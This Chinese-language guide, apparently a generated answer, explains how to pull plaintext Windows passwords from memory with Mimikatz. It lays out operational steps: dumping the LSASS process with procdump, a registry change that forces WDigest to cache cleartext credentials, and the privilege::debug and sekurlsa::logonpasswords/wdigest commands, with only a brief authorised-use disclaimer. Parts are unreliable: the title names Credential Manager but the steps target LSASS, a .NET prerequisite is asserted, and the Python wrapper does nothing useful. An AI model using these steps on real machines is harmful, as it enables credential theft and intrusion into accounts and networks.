获取windows凭证管理器明文密码

### 使用 Mimikatz 获取 Windows 明文密码 #### 工具介绍与工作原理 Mimikatz 是一种用于提取凭证和其他敏感信息的强大工具，能够从内存中读取并解析 Windows 安全账户管理器 (SAM) 数据库中的认证数据。该工具主要通过访问 Local Security Authority Subsystem Service (LSASS)，这是一个负责处理本地安全策略和验证请求的服务。 对于较新的操作系统版本如 Windows 10 或者 Server 2012 R2 及更高版本，在默认配置下不会将明文形式的密码存储于 LSASS 进程内的缓存里；因此为了使 Mimikatz 能够捕获到这些信息，则可能需要调整某些系统设置来允许这种行为发生[^5]。 #### 实际操作指南 ##### 准备阶段 确保目标机器已安装 .NET Framework 并且具有管理员权限。下载最新版 Mimikatz 合法副本，并将其放置在一个可执行的位置。 ##### 配置更改 针对特定版本的操作系统，有时需预先做些准备工作： - **Windows Server 2008 R2** - 创建转储文件以便后续分析。 ```powershell procdump.exe -accepteula -ma lsass.exe c:\temp\lsass.dmp ``` - **Windows Server 2012 R2** - 更改注册表项以启用 WDigest 缓存功能。 ```powershell reg add "HKLM\System\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 1 /f ``` - **Windows Server 2016及以上** - 执行相同命令开启 WDigest 功能后，提示用户重新启动计算机或锁定再解锁会话使得新参数生效[^4]。 ##### 密码提取过程 一旦上述条件满足，即可按照如下步骤继续： 1. 加载 Mimikatz 应用程序； 2. 输入 `privilege::debug` 来提升调试级别至最高级； 3. 对于启用了 WDigest 的情况，可以直接调用 `sekurlsa::wdigest` 查看当前登录用户的凭据列表； 4. 如果是其他场景下的尝试，则应考虑使用更通用的方法比如 `sekurlsa::logonpasswords` ，这将会遍历所有类型的登录记录寻找可用的信息。 请注意，此过程中涉及到的安全风险极高，仅限合法授权范围内部署实施！ ```python import os os.system('mimikatz.exe') print("请输入 'privilege::debug'") print("接着输入 'sekurlsa::logonpasswords' 或 'sekurlsa::wdigest'") ```